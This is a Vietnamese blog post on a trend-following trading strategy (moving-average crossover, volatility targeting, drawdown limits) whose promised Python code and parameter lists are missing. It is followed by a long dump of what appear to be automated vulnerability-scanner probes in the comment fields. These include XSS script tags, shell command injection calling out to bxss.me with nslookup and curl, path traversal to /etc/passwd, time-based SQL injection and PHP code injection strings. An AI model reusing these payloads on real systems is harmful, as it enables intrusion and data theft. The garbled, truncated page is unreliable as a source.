25/02/2026
330 lượt đọc
Trong quant trading, rất nhiều người bắt đầu bằng cách tìm kiếm một chỉ báo “mạnh” hoặc một mô hình dự báo phức tạp. Tuy nhiên, thực tế cho thấy phần lớn hệ thống thất bại không phải vì tín hiệu quá yếu, mà vì cấu trúc hệ thống không đầy đủ. Một tín hiệu có thể có edge dương nhỏ, nhưng nếu không có cơ chế quản lý vốn, kiểm soát biến động và giới hạn drawdown rõ ràng, hiệu suất thực tế sẽ rất khác so với kỳ vọng. Một chiến lược có thể đúng 45% thời gian vẫn tạo lợi nhuận nếu lợi nhuận trung bình lớn hơn thua lỗ trung bình và nếu quy mô vị thế được điều chỉnh hợp lý theo rủi ro thị trường.
Bài viết này trình bày một chiến lược trend following ở mức cơ bản nhưng đầy đủ cấu trúc. Mục tiêu không phải tối ưu lợi nhuận ngắn hạn, mà xây dựng một hệ thống có thể vận hành ổn định qua nhiều chu kỳ thị trường khác nhau.
Trend following dựa trên một giả định đơn giản: khi thị trường hình thành xu hướng đủ mạnh, động lượng đó thường kéo dài lâu hơn kỳ vọng ban đầu. Lý do không đến từ kỹ thuật, mà đến từ cấu trúc dòng tiền. Các quỹ lớn, tổ chức đầu tư và ETF không thể vào hoặc thoát vị thế trong một phiên giao dịch. Khi dòng tiền bắt đầu tích lũy hoặc phân phối, quá trình đó thường diễn ra trong nhiều tuần hoặc nhiều tháng. Điều này tạo ra các chuỗi tăng hoặc giảm có cấu trúc thay vì chuyển động hoàn toàn ngẫu nhiên.
Ví dụ thực tế có thể quan sát trong nhiều thị trường. Một chỉ số cổ phiếu có thể đi ngang trong nhiều tháng, tạo ra tín hiệu nhiễu liên tục. Tuy nhiên, khi phá vỡ vùng tích lũy và bước vào xu hướng tăng mạnh, đà tăng đó có thể kéo dài 20–30% hoặc hơn trước khi điều chỉnh đáng kể. Trong những giai đoạn như vậy, chiến lược theo xu hướng không cần bắt đáy hoặc bán đỉnh. Nó chỉ cần tham gia khi xu hướng đã xác nhận và giữ vị thế cho đến khi cấu trúc giá thay đổi.
Điểm quan trọng của trend following là chấp nhận thua lỗ nhỏ và lặp lại trong thị trường sideway. Phần lớn lợi nhuận của hệ thống thường đến từ một số ít giao dịch lớn trong năm. Điều này khiến nhiều người bỏ chiến lược quá sớm vì họ tập trung vào tỷ lệ thắng thay vì phân phối lợi nhuận. Bản chất của hệ thống theo xu hướng là: lỗ nhiều lần nhỏ, thắng ít lần nhưng lớn.
Một cấu trúc phổ biến và dễ kiểm chứng là sử dụng hai đường trung bình động:
Khi MA50 cắt lên MA200, hệ thống coi đó là tín hiệu xác nhận xu hướng tăng và mở vị thế mua. Khi MA50 cắt xuống MA200, hệ thống đóng vị thế. Đây chỉ là phần tín hiệu. Nếu dừng ở đây, hệ thống vẫn chưa hoàn chỉnh vì chưa có quản lý vốn và kiểm soát rủi ro.
Yếu tố tiếp theo là điều chỉnh quy mô vị thế theo biến động. Nếu tài sản đang có biến động cao, giữ nguyên quy mô vị thế sẽ làm tăng rủi ro danh mục. Do đó, hệ thống cần áp dụng volatility targeting. Ví dụ: mục tiêu biến động danh mục là 15% mỗi năm. Nếu biến động thực tế của tài sản là 30% mỗi năm, quy mô vị thế nên giảm xuống 50%. Nếu biến động chỉ 10%, có thể tăng quy mô lên mức tối đa cho phép.
Công thức đơn giản:
Position size = Target volatility / Realized volatility
Giả sử target volatility là 15% và realized volatility là 20%, quy mô vị thế sẽ là 0.75. Điều này giúp hệ thống tự động giảm rủi ro khi thị trường trở nên biến động và tăng hiệu quả vốn khi thị trường ổn định.
Yếu tố thứ ba là kiểm soát drawdown. Trong thực tế, chiến lược trend following có thể trải qua giai đoạn drawdown kéo dài khi thị trường đi ngang. Nếu không có giới hạn, tổn thất tích lũy có thể khiến người vận hành dừng hệ thống đúng trước khi xu hướng mới hình thành. Một cách tiếp cận thực tế là thiết lập ngưỡng giảm quy mô khi drawdown vượt một mức nhất định, ví dụ -20%, và tạm dừng hệ thống nếu vượt -30%. Đây không phải là tối ưu lợi nhuận, mà là bảo vệ khả năng tồn tại dài hạn.
Dưới đây là cấu trúc Python tối giản thể hiện logic chiến lược:
Các tham số chính:
Khi chạy trên dữ liệu thực tế như chỉ số lớn hoặc ETF thanh khoản cao, kết quả thường có đặc điểm sau:
Điều đáng chú ý là hiệu suất không đến từ việc dự đoán chính xác thị trường, mà từ cấu trúc quản lý rủi ro và kỷ luật thực thi. Hệ thống có thể hoạt động kém trong một năm đi ngang, nhưng vẫn tạo lợi nhuận dài hạn nếu xu hướng xuất hiện đủ mạnh trong chu kỳ tiếp theo.
Một chiến lược đơn giản vẫn có thể hiệu quả nếu được thiết kế đầy đủ thành phần: tín hiệu rõ ràng, điều chỉnh vị thế theo biến động và kiểm soát drawdown. Phần lớn thất bại trong quant trading không đến từ việc thiếu mô hình phức tạp, mà từ việc đánh giá thấp rủi ro và quá tập trung vào tối ưu lợi nhuận quá khứ.
Trend following với volatility targeting là ví dụ điển hình cho cách tiếp cận: không cố dự đoán, không tối ưu quá mức, tập trung vào khả năng tồn tại. Trong môi trường thị trường thay đổi liên tục, hệ thống chịu đựng được giai đoạn xấu quan trọng hơn hệ thống đạt lợi nhuận cao trong ngắn hạn.
142,556 / 5
RDFYjolf
tes****@example.com
555<esi:include src="http://bxss.me/rpb.png"/>
RDFYjolf
tes****@example.com
555
RDFYjolf
tes****@example.com
555
RDFYjolf
tes****@example.com
)))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))
RDFYjolf
tes****@example.com
xfs.bxss.me
RDFYjolf
)))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))
555
RDFYjolf
tes****@example.com
555
RDFYjolf
xfs.bxss.me
555
)))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))
tes****@example.com
555
xfs.bxss.me
tes****@example.com
555
RDFYjolf
tes****@example.com
555
RDFYjolf
tes****@example.com
'"
RDFYjolf
tes****@example.com
555
RDFYjolf
tes****@example.com
<!--
RDFYjolf
tes****@example.com
555'"()&%<zzz><ScRiPt >EPoq(9761)</ScRiPt>
RDFYjolf
'"
555
RDFYjolf
<!--
555
RDFYjolf
tes****@example.com
RDFYjolf
tes****@example.com
'"()&%<zzz><ScRiPt >EPoq(9897)</ScRiPt>
'"
tes****@example.com
555
RDFYjolf
tes****@example.com
response.write(9275180*9837125)
RDFYjolf
tes****@example.com
12345'"\'\");|]*
<!--
tes****@example.com
555
RDFYjolf
tes****@example.com
'+response.write(9275180*9837125)+'
RDFYjolf
tes****@example.com
555
RDFYjolf
tes****@example.com
"+response.write(9275180*9837125)+"
RDFYjolf
tes****@example.com
5559079794
RDFYjolf
tes****@example.com
555
RDFYjolf
response.write(9408029*9703594)
555
RDFYjolf
'+response.write(9408029*9703594)+'
555
RDFYjolf
12345'"\'\");|]*
555
RDFYjolf
tes****@example.com'"()&%<zzz><ScRiPt >EPoq(9475)</ScRiPt>
555
RDFYjolf
"+response.write(9408029*9703594)+"
555
response.write(9906382*9109421)
tes****@example.com
555
'+response.write(9906382*9109421)+'
tes****@example.com
555
RDFYjolf
'"()&%<zzz><ScRiPt >EPoq(9309)</ScRiPt>
555
"+response.write(9906382*9109421)+"
tes****@example.com
555
12345'"\'\");|]*
tes****@example.com
555
RDFYjolf
tes****@example.com
555
RDFYjolf
tes****@example.com
555
RDFYjolf
tes****@example.com9374370
555
RDFYjolf
tes****@example.com
555
RDFYjolf
tes****@example.com
555
RDFYjolf
tes****@example.com
555
RDFYjolf
tes****@example.com
555
RDFYjolf'"()&%<zzz><ScRiPt >EPoq(9458)</ScRiPt>
tes****@example.com
555
RDFYjolf
tes****@example.com
555
RDFYjolf
tes****@example.com
YPtzFwDJ
'"()&%<zzz><ScRiPt >EPoq(9726)</ScRiPt>
tes****@example.com
555
RDFYjolf
tes****@example.com
jvJRBTAr: 1U1SUfsg
RDFYjolf
XkCmhNoG
555
RDFYjolf9772141
tes****@example.com
555
RDFYjolf
Kp7yXyuX: OzpwQAIA
555
RDFYjolf
tes****@example.com
555
RDFYjolf
tes****@example.com<esi:include src="http://bxss.me/rpb.png"/>
555
RDFYjolf
tes****@example.com
echo koiaxl$()\ asgaor\nz^xyu||a #' &echo koiaxl$()\ asgaor\nz^xyu||a #|" &echo koiaxl$()\ asgaor\nz^xyu||a #
RDFYjolf
tes****@example.com
555
nNqdDlPt
tes****@example.com
555
RDFYjolf<esi:include src="http://bxss.me/rpb.png"/>
tes****@example.com
555
DLMzV9PL: ToFlyhk6
tes****@example.com
555
RDFYjolf
tes****@example.com
&echo evwscb$()\ nnwxrd\nz^xyu||a #' &echo evwscb$()\ nnwxrd\nz^xyu||a #|" &echo evwscb$()\ nnwxrd\nz^xyu||a #
RDFYjolf
tes****@example.com
555
RDFYjolf
tes****@example.com
555
RDFYjolf
tes****@example.com
555&echo ztuhpf$()\ xelzyp\nz^xyu||a #' &echo ztuhpf$()\ xelzyp\nz^xyu||a #|" &echo ztuhpf$()\ xelzyp\nz^xyu||a #
RDFYjolf
tes****@example.com
555
RDFYjolf
tes****@example.com
555
RDFYjolf
tes****@example.com
../../../../../../../../../../../../../../etc/passwd
RDFYjolf
tes****@example.com
555
RDFYjolf
tes****@example.com
|echo mnwjao$()\ dbcjte\nz^xyu||a #' |echo mnwjao$()\ dbcjte\nz^xyu||a #|" |echo mnwjao$()\ dbcjte\nz^xyu||a #
RDFYjolf
tes****@example.com
${9999836+9999790}
RDFYjolf
tes****@example.com
../../../../../../../../../../../../../../windows/win.ini
RDFYjolf
tes****@example.com
555|echo wgzlyu$()\ hbwnfr\nz^xyu||a #' |echo wgzlyu$()\ hbwnfr\nz^xyu||a #|" |echo wgzlyu$()\ hbwnfr\nz^xyu||a #
RDFYjolf
tes****@example.com
555*if(now()=sysdate(),sleep(15),0)
RDFYjolf
${9999989+9999898}
555
RDFYjolf
tes****@example.com
555
RDFYjolf
tes****@example.com
file:///etc/passwd
RDFYjolf
tes****@example.com
expr 9000420828 - 984910
${9999278+10000365}
tes****@example.com
555
RDFYjolf
tes****@example.com
555
RDFYjolf
tes****@example.com
(nslookup -q=cname hitmtlnlqpslwf5985.bxss.me||curl hitmtlnlqpslwf5985.bxss.me))
RDFYjolf
tes****@example.com
555*if(now()=sysdate(),sleep(11.986),0)
RDFYjolf
tes****@example.com
555
RDFYjolf
tes****@example.com
../555
RDFYjolf
tes****@example.com
555
RDFYjolf
tes****@example.com
$(nslookup -q=cname hitcaflkoxcgd2fc34.bxss.me||curl hitcaflkoxcgd2fc34.bxss.me)
RDFYjolf
../../../../../../../../../../../../../../etc/passwd
555
RDFYjolf
tes****@example.com
&nslookup -q=cname hitnnjbvuqopa77017.bxss.me&'\"`0&nslookup -q=cname hitnnjbvuqopa77017.bxss.me&`'
RDFYjolf
tes****@example.com
555*if(now()=sysdate(),sleep(15),0)
RDFYjolf
../../../../../../../../../../../../../../windows/win.ini
555
RDFYjolf
tes****@example.com
&(nslookup -q=cname hitobugqnzbujd7d43.bxss.me||curl hitobugqnzbujd7d43.bxss.me)&'\"`0&(nslookup -q=cname hitobugqnzbujd7d43.bxss.me||curl hitobugqnzbujd7d43.bxss.me)&`'
RDFYjolf
file:///etc/passwd
555
RDFYjolf
tes****@example.com
|(nslookup -q=cname hitaumnsucbtne1324.bxss.me||curl hitaumnsucbtne1324.bxss.me)
RDFYjolf
tes****@example.com
555
RDFYjolf
tes****@example.com
5550'XOR(555*if(now()=sysdate(),sleep(15),0))XOR'Z
RDFYjolf
tes****@example.com
'.gethostbyname(lc('hitkz'.'ewgaytrp578d1.bxss.me.')).'A'.chr(67).chr(hex('58')).chr(98).chr(69).chr(122).chr(72).'
RDFYjolf
tes****@example.com
`(nslookup -q=cname hitahlckfwuke59b60.bxss.me||curl hitahlckfwuke59b60.bxss.me)`
RDFYjolf
../*******@example.com
555
RDFYjolf
tes****@example.com
5550"XOR(555*if(now()=sysdate(),sleep(15),0))XOR"Z
RDFYjolf
tes****@example.com
".gethostbyname(lc("hitmo"."xqsijamgf8179.bxss.me."))."A".chr(67).chr(hex("58")).chr(114).chr(72).chr(110).chr(85)."
RDFYjolf
tes****@example.com
;(nslookup -q=cname hitiatbfnqqtle2fed.bxss.me||curl hitiatbfnqqtle2fed.bxss.me)|(nslookup -q=cname hitiatbfnqqtle2fed.bxss.me||curl hitiatbfnqqtle2fed.bxss.me)&(nslookup -q=cname hitiatbfnqqtle2fed.bxss.me||curl hitiatbfnqqtle2fed.bxss.me)
RDFYjolf
tes****@example.com
"+"A".concat(70-3).concat(22*4).concat(118).concat(90).concat(103).concat(67)+(require"socket" Socket.gethostbyname("hitmj"+"etsiyylo068e9.bxss.me.")[3].to_s)+"
../../../../../../../../../../../../../../etc/passwd
tes****@example.com
555
RDFYjolf
tes****@example.com
5550"XOR(555*if(now()=sysdate(),sleep(23.972),0))XOR"Z
RDFYjolf
tes****@example.com
gethostbyname(lc('hitsd'.'mrlymssre2901.bxss.me.')).'A'.chr(67).chr(hex('58')).chr(116).chr(75).chr(101).chr(71)
RDFYjolf
tes****@example.com
HttP://bxss.me/t/xss.html?%00
RDFYjolf
tes****@example.com
'+'A'.concat(70-3).concat(22*4).concat(118).concat(87).concat(98).concat(90)+(require'socket' Socket.gethostbyname('hitww'+'azvfeylucc366.bxss.me.')[3].to_s)+'
RDFYjolf
tes****@example.com
|(nslookup${IFS}-q${IFS}cname${IFS}hitfgrofwmbfwba564.bxss.me||curl${IFS}hitfgrofwmbfwba564.bxss.me)
../../../../../../../../../../../../../../windows/win.ini
tes****@example.com
555
RDFYjolf
tes****@example.com
(select(0)from(select(sleep(15)))v)/*'+(select(0)from(select(sleep(15)))v)+'"+(select(0)from(select(sleep(15)))v)+"*/
RDFYjolf
'.gethostbyname(lc('hitaq'.'bhsqbbgb1aac5.bxss.me.')).'A'.chr(67).chr(hex('58')).chr(108).chr(85).chr(109).chr(70).'
555
RDFYjolf
tes****@example.com
;assert(base64_decode('cHJpbnQobWQ1KDMxMzM3KSk7'));
RDFYjolf
tes****@example.com
&(nslookup${IFS}-q${IFS}cname${IFS}hitunebhtimrj41fde.bxss.me||curl${IFS}hitunebhtimrj41fde.bxss.me)&'\"`0&(nslookup${IFS}-q${IFS}cname${IFS}hitunebhtimrj41fde.bxss.me||curl${IFS}hitunebhtimrj41fde.bxss.me)&`'
RDFYjolf
tes****@example.com
bxss.me/t/xss.html?%00
RDFYjolf
tes****@example.com
'A'.concat(70-3).concat(22*4).concat(99).concat(73).concat(111).concat(75)+(require'socket' Socket.gethostbyname('hitao'+'dllhwxtx76495.bxss.me.')[3].to_s)
RDFYjolf
".gethostbyname(lc("hitnx"."thdsdxztc1079.bxss.me."))."A".chr(67).chr(hex("58")).chr(107).chr(65).chr(115).chr(76)."
555
file:///etc/passwd
tes****@example.com
555
RDFYjolf
tes****@example.com
(select(0)from(select(sleep(23.972)))v)/*'+(select(0)from(select(sleep(23.972)))v)+'"+(select(0)from(select(sleep(23.972)))v)+"*/
RDFYjolf
echo mzqkzn$()\ crthxb\nz^xyu||a #' &echo mzqkzn$()\ crthxb\nz^xyu||a #|" &echo mzqkzn$()\ crthxb\nz^xyu||a #
555
RDFYjolf
tes****@example.com
';print(md5(31337));$a='
RDFYjolf
tes****@example.com
http://bxss.me/t/rfi.php?%00
RDFYjolf
gethostbyname(lc('hitkl'.'nkczriwf4db49.bxss.me.')).'A'.chr(67).chr(hex('58')).chr(108).chr(86).chr(102).chr(89)
555
RDFYjolf
tes****@example.com
555
RDFYjolf
"+"A".concat(70-3).concat(22*4).concat(112).concat(84).concat(112).concat(69)+(require"socket" Socket.gethostbyname("hitjn"+"sxeebetxfd6f3.bxss.me.")[3].to_s)+"
555
RDFYjolf
tes****@example.com
555-1; waitfor delay '0:0:15' --
RDFYjolf
&echo llpwon$()\ dxbhjn\nz^xyu||a #' &echo llpwon$()\ dxbhjn\nz^xyu||a #|" &echo llpwon$()\ dxbhjn\nz^xyu||a #
555
RDFYjolf
tes****@example.com
bxss.me/t/rfi.php?%00
RDFYjolf
tes****@example.com
";print(md5(31337));$a="
'.gethostbyname(lc('hitkv'.'avrocpok6abd0.bxss.me.')).'A'.chr(67).chr(hex('58')).chr(104).chr(88).chr(110).chr(67).'
tes****@example.com
555
../RDFYjolf
tes****@example.com
555
RDFYjolf
tes****@example.com
http://dicrpdbjmemujemfyopp.zzz/yrphmgdpgulaszriylqiipemefmacafkxycjaxjs?.jpg
RDFYjolf
'+'A'.concat(70-3).concat(22*4).concat(116).concat(80).concat(100).concat(83)+(require'socket' Socket.gethostbyname('hitia'+'zjlkmsoy2dd87.bxss.me.')[3].to_s)+'
555
RDFYjolf
tes****@example.com&echo unzwpv$()\ kffouf\nz^xyu||a #' &echo unzwpv$()\ kffouf\nz^xyu||a #|" &echo unzwpv$()\ kffouf\nz^xyu||a #
555
RDFYjolf
HttP://bxss.me/t/xss.html?%00
555
".gethostbyname(lc("hitcm"."lehkvcam36249.bxss.me."))."A".chr(67).chr(hex("58")).chr(116).chr(90).chr(112).chr(80)."
tes****@example.com
555
RDFYjolf
tes****@example.com
555
RDFYjolf
tes****@example.com
${@print(md5(31337))}
RDFYjolf
tes****@example.com
555-1); waitfor delay '0:0:15' --
RDFYjolf
'A'.concat(70-3).concat(22*4).concat(98).concat(89).concat(117).concat(90)+(require'socket' Socket.gethostbyname('hitqt'+'zsrntanz62a80.bxss.me.')[3].to_s)
555
RDFYjolf
tes****@example.com
555
RDFYjolf
tes****@example.com
1yrphmgdpgulaszriylqiipemefmacafkxycjaxjs
gethostbyname(lc('hitrp'.'uiasmmvf73113.bxss.me.')).'A'.chr(67).chr(hex('58')).chr(110).chr(65).chr(121).chr(75)
tes****@example.com
555
RDFYjolf
|echo pkbnwi$()\ qxweqx\nz^xyu||a #' |echo pkbnwi$()\ qxweqx\nz^xyu||a #|" |echo pkbnwi$()\ qxweqx\nz^xyu||a #
555
RDFYjolf
tes****@example.com
555
RDFYjolf
bxss.me/t/xss.html?%00
555
RDFYjolf
tes****@example.com
/etc/shells
RDFYjolf
tes****@example.com
${@print(md5(31337))}\
"+"A".concat(70-3).concat(22*4).concat(108).concat(74).concat(100).concat(67)+(require"socket" Socket.gethostbyname("hityt"+"qfenxmqv225ce.bxss.me.")[3].to_s)+"
tes****@example.com
555
RDFYjolf
tes****@example.com
555
RDFYjolf
http://bxss.me/t/rfi.php?%00
555
RDFYjolf
tes****@example.com|echo acptep$()\ qwupil\nz^xyu||a #' |echo acptep$()\ qwupil\nz^xyu||a #|" |echo acptep$()\ qwupil\nz^xyu||a #
555
RDFYjolf
tes****@example.com
555
RDFYjolf
tes****@example.com
../../../../../../../../../../../../../../etc/shells
RDFYjolf
tes****@example.com
555-1 waitfor delay '0:0:15' --
RDFYjolf
tes****@example.com
'.print(md5(31337)).'
RDFYjolf
tes****@example.com
555
'+'A'.concat(70-3).concat(22*4).concat(114).concat(72).concat(102).concat(79)+(require'socket' Socket.gethostbyname('hitoj'+'btqawcwge563f.bxss.me.')[3].to_s)+'
tes****@example.com
555
RDFYjolf
bxss.me/t/rfi.php?%00
555
RDFYjolf
tes****@example.com
c:/windows/win.ini
RDFYjolf
expr 9000190460 - 987632
555
RDFYjolf
tes****@example.com
555
RDFYjolf
tes****@example.com
<?php print(md5(31337));?>
RDFYjolf
tes****@example.com
review-store
RDFYjolf
tes****@example.com
555
'A'.concat(70-3).concat(22*4).concat(103).concat(81).concat(99).concat(74)+(require'socket' Socket.gethostbyname('hitem'+'gvplaidnda62f.bxss.me.')[3].to_s)
tes****@example.com
555
HttP://bxss.me/t/xss.html?%00
tes****@example.com
555
RDFYjolf
(nslookup -q=cname hitwdzazzcowf84f02.bxss.me||curl hitwdzazzcowf84f02.bxss.me))
555
RDFYjolf
tes****@example.com
bxss.me
RDFYjolf
tes****@example.com
555
RDFYjolf
tes****@example.com
5556Ib0r1Ze'; waitfor delay '0:0:15' --
RDFYjolf
tes****@example.com
'{${print(md5(31337))}}'
RDFYjolf
tes****@example.com
review-store
bxss.me/t/xss.html?%00
tes****@example.com
555
RDFYjolf
tes****@example.com
555
RDFYjolf
$(nslookup -q=cname hitkdqbqxahyf6b017.bxss.me||curl hitkdqbqxahyf6b017.bxss.me)
555
RDFYjolf
tes****@example.com
Http://bxss.me/t/fit.txt
RDFYjolf
tes****@example.com
review-store/.
http://bxss.me/t/rfi.php?%00
tes****@example.com
555
RDFYjolf
tes****@example.com
print(md5(31337));//
RDFYjolf
tes****@example.com
redirtest.acx
RDFYjolf
&nslookup -q=cname hitutjdvxcwkpddbae.bxss.me&'\"`0&nslookup -q=cname hitutjdvxcwkpddbae.bxss.me&`'
555
RDFYjolf
tes****@example.com
555-1 OR 55=(SELECT 55 FROM PG_SLEEP(15))--
bVYxbmNkZm4=
tes****@example.com
555
RDFYjolf
tes****@example.com
555
RDFYjolf
tes****@example.com
http://bxss.me/t/fit.txt?.jpg
RDFYjolf
review-store
555
RDFYjolf
tes****@example.com
{php}print(md5(31337));{/php}
bxss.me/t/rfi.php?%00
tes****@example.com
555
RDFYjolf
redirtest.acx
555
RDFYjolf
&(nslookup -q=cname hitwetqetqzpxbb21b.bxss.me||curl hitwetqetqzpxbb21b.bxss.me)&'\"`0&(nslookup -q=cname hitwetqetqzpxbb21b.bxss.me||curl hitwetqetqzpxbb21b.bxss.me)&`'
555
RDFYjolf
tes****@example.com
555
RDFYjolf
review-store
555
RDFYjolf
tes****@example.com
[php]print(md5(31337));[/php]
RDFYjolf
http://dicrpdbjmemujemfyopp.zzz/yrphmgdpgulaszriylqiipemefmacafkxycjaxjs?.com
555
redirtest.acx
tes****@example.com
555
RDFYjolf
|(nslookup -q=cname hitavywfxrllz00bd6.bxss.me||curl hitavywfxrllz00bd6.bxss.me)
555
RDFYjolf
tes****@example.com
555-1) OR 729=(SELECT 729 FROM PG_SLEEP(15))--
RDFYjolf
tes****@example.com
555&n909769=v911962
RDFYjolf
review-store/.
555
RDFYjolf
;assert(base64_decode('cHJpbnQobWQ1KDMxMzM3KSk7'));
555
RDFYjolf
1yrphmgdpgulaszriylqiipemefmacafkxycjaxjs
555
RDFYjolf
tes****@example.com
555
RDFYjolf
tes****@example.com
555
RDFYjolf
`(nslookup -q=cname hitbdelcdlzmle465f.bxss.me||curl hitbdelcdlzmle465f.bxss.me)`
555
RDFYjolf
tes****@example.com&n947660=v964922
555
review-store
tes****@example.com
555
RDFYjolf
';print(md5(31337));$a='
555
RDFYjolf
/etc/shells
555
RDFYjolf
tes****@example.com
555-1)) OR 274=(SELECT 274 FROM PG_SLEEP(15))--
RDFYjolf
tes****@example.com
555
RDFYjolf&n909099=v935421
tes****@example.com
555
RDFYjolf
;(nslookup -q=cname hitjnakckmwja6fcac.bxss.me||curl hitjnakckmwja6fcac.bxss.me)|(nslookup -q=cname hitjnakckmwja6fcac.bxss.me||curl hitjnakckmwja6fcac.bxss.me)&(nslookup -q=cname hitjnakckmwja6fcac.bxss.me||curl hitjnakckmwja6fcac.bxss.me)
555
RDFYjolf
";print(md5(31337));$a="
555
review-store
tes****@example.com
555
RDFYjolf
../../../../../../../../../../../../../../etc/shells
555
RDFYjolf
tes****@example.com
555
RDFYjolf
tes****@example.com
555
RDFYjolf
tes****@example.com
555
RDFYjolf
|(nslookup${IFS}-q${IFS}cname${IFS}hitefzxcwpkjmbc4eb.bxss.me||curl${IFS}hitefzxcwpkjmbc4eb.bxss.me)
555
RDFYjolf
${@print(md5(31337))}
555
review-store/.
tes****@example.com
555
RDFYjolf
tes****@example.com
)
RDFYjolf
c:/windows/win.ini
555
RDFYjolf
tes****@example.com
55503BEbqa8' OR 757=(SELECT 757 FROM PG_SLEEP(15))--
RDFYjolf
${@print(md5(31337))}\
555
RDFYjolf
tes****@example.com
!(()&&!|*|*|
RDFYjolf
&(nslookup${IFS}-q${IFS}cname${IFS}hitekvjgnghknf3394.bxss.me||curl${IFS}hitekvjgnghknf3394.bxss.me)&'\"`0&(nslookup${IFS}-q${IFS}cname${IFS}hitekvjgnghknf3394.bxss.me||curl${IFS}hitekvjgnghknf3394.bxss.me)&`'
555
RDFYjolf
tes****@example.com
555
RDFYjolf
bxss.me
555
RDFYjolf
'.print(md5(31337)).'
555
RDFYjolf
tes****@example.com
^(#$!@#$)(()))******
echo sforuv$()\ sdybdv\nz^xyu||a #' &echo sforuv$()\ sdybdv\nz^xyu||a #|" &echo sforuv$()\ sdybdv\nz^xyu||a #
tes****@example.com
555
RDFYjolf
tes****@example.com
555
RDFYjolf
<?php print(md5(31337));?>
555
RDFYjolf
Http://bxss.me/t/fit.txt
555
RDFYjolf
)
555
RDFYjolf
tes****@example.com
555hgcVXXws') OR 479=(SELECT 479 FROM PG_SLEEP(15))--
RDFYjolf
tes****@example.com
555
&echo njsreg$()\ rdlpqj\nz^xyu||a #' &echo njsreg$()\ rdlpqj\nz^xyu||a #|" &echo njsreg$()\ rdlpqj\nz^xyu||a #
tes****@example.com
555
RDFYjolf
http://bxss.me/t/fit.txt?.com
555
RDFYjolf
'{${print(md5(31337))}}'
555
RDFYjolf
!(()&&!|*|*|
555
RDFYjolf&echo acuprl$()\ mhgcta\nz^xyu||a #' &echo acuprl$()\ mhgcta\nz^xyu||a #|" &echo acuprl$()\ mhgcta\nz^xyu||a #
tes****@example.com
555
http://dicrpdbjmemujemfyopp.zzz/yrphmgdpgulaszriylqiipemefmacafkxycjaxjs?.jpg
tes****@example.com
555
RDFYjolf
print(md5(31337));//
555
RDFYjolf
^(#**@#$)(()))******
555
|echo pyrmda$()\ zhevej\nz^xyu||a #' |echo pyrmda$()\ zhevej\nz^xyu||a #|" |echo pyrmda$()\ zhevej\nz^xyu||a #
tes****@example.com
555
1yrphmgdpgulaszriylqiipemefmacafkxycjaxjs
tes****@example.com
555
)
tes****@example.com
555
RDFYjolf
{php}print(md5(31337));{/php}
555
RDFYjolf|echo oihcdn$()\ tkigkb\nz^xyu||a #' |echo oihcdn$()\ tkigkb\nz^xyu||a #|" |echo oihcdn$()\ tkigkb\nz^xyu||a #
tes****@example.com
555
/etc/shells
tes****@example.com
555
RDFYjolf
tes****@example.com
555t7Nl6Cm5')) OR 888=(SELECT 888 FROM PG_SLEEP(15))--
!(()&&!|*|*|
tes****@example.com
555
RDFYjolf
tes****@example.com
555
RDFYjolf
[php]print(md5(31337));[/php]
555
expr 9000489753 - 969213
tes****@example.com
555
../../../../../../../../../../../../../../etc/shells
tes****@example.com
555
^(#$!@#$)(()))******
tes****@example.com
555
;assert(base64_decode('cHJpbnQobWQ1KDMxMzM3KSk7'));
tes****@example.com
555
(nslookup -q=cname hitsthnszpamr45c50.bxss.me||curl hitsthnszpamr45c50.bxss.me))
tes****@example.com
555
c:/windows/win.ini
tes****@example.com
555
RDFYjolf
tes****@example.com
555
RDFYjolf
tes****@example.com
'"()
RDFYjolf
tes****@example.com
555*DBMS_PIPE.RECEIVE_MESSAGE(CHR(99)||CHR(99)||CHR(99),15)
';print(md5(31337));$a='
tes****@example.com
555
bxss.me
tes****@example.com
555
$(nslookup -q=cname hitofgwzegxmw93bb9.bxss.me||curl hitofgwzegxmw93bb9.bxss.me)
tes****@example.com
555
RDFYjolf
tes****@example.com
555'&&sleep(27*1000)*acauhq&&'
RDFYjolf
tes****@example.com
555
";print(md5(31337));$a="
tes****@example.com
555
&nslookup -q=cname hitbztzdfrwpo653fc.bxss.me&'\"`0&nslookup -q=cname hitbztzdfrwpo653fc.bxss.me&`'
tes****@example.com
555
Http://bxss.me/t/fit.txt
tes****@example.com
555
RDFYjolf
tes****@example.com
555"&&sleep(27*1000)*dralit&&"
RDFYjolf
tes****@example.com
555
${@print(md5(31337))}
tes****@example.com
555
&(nslookup -q=cname hitzshxtuotdn64cd4.bxss.me||curl hitzshxtuotdn64cd4.bxss.me)&'\"`0&(nslookup -q=cname hitzshxtuotdn64cd4.bxss.me||curl hitzshxtuotdn64cd4.bxss.me)&`'
tes****@example.com
555
http://bxss.me/t/fit.txt?.jpg
tes****@example.com
555
RDFYjolf
tes****@example.com
555'||DBMS_PIPE.RECEIVE_MESSAGE(CHR(98)||CHR(98)||CHR(98),15)||'
RDFYjolf
tes****@example.com
555'||sleep(27*1000)*uihctb||'
${@print(md5(31337))}\
tes****@example.com
555
|(nslookup -q=cname hitxsjrwlgpdra5fe3.bxss.me||curl hitxsjrwlgpdra5fe3.bxss.me)
tes****@example.com
555
RDFYjolf
tes****@example.com
555
RDFYjolf
tes****@example.com
555"||sleep(27*1000)*mhpspr||"
RDFYjolf
tes****@example.com
555
`(nslookup -q=cname hitxdxeisihwx879c5.bxss.me||curl hitxdxeisihwx879c5.bxss.me)`
tes****@example.com
555
'.print(md5(31337)).'
tes****@example.com
555
RDFYjolf
tes****@example.com
555
RDFYjolf
tes****@example.com
(select DBMS_PIPE.RECEIVE_MESSAGE(CHR(98)||CHR(98)||CHR(98),15) from dual)
RDFYjolf
tes****@example.com
555
<?php print(md5(31337));?>
tes****@example.com
555
RDFYjolf
tes****@example.com
555
;(nslookup -q=cname hitotiepdqbdxa19ce.bxss.me||curl hitotiepdqbdxa19ce.bxss.me)|(nslookup -q=cname hitotiepdqbdxa19ce.bxss.me||curl hitotiepdqbdxa19ce.bxss.me)&(nslookup -q=cname hitotiepdqbdxa19ce.bxss.me||curl hitotiepdqbdxa19ce.bxss.me)
tes****@example.com
555
RDFYjolf
tes****@example.com
555
RDFYjolf
tes****@example.com
555
'{${print(md5(31337))}}'
tes****@example.com
555
RDFYjolf
tes****@example.com
555'"
|(nslookup${IFS}-q${IFS}cname${IFS}hitfgfworjjhfc835f.bxss.me||curl${IFS}hitfgfworjjhfc835f.bxss.me)
tes****@example.com
555
RDFYjolf
tes****@example.com
555
print(md5(31337));//
tes****@example.com
555
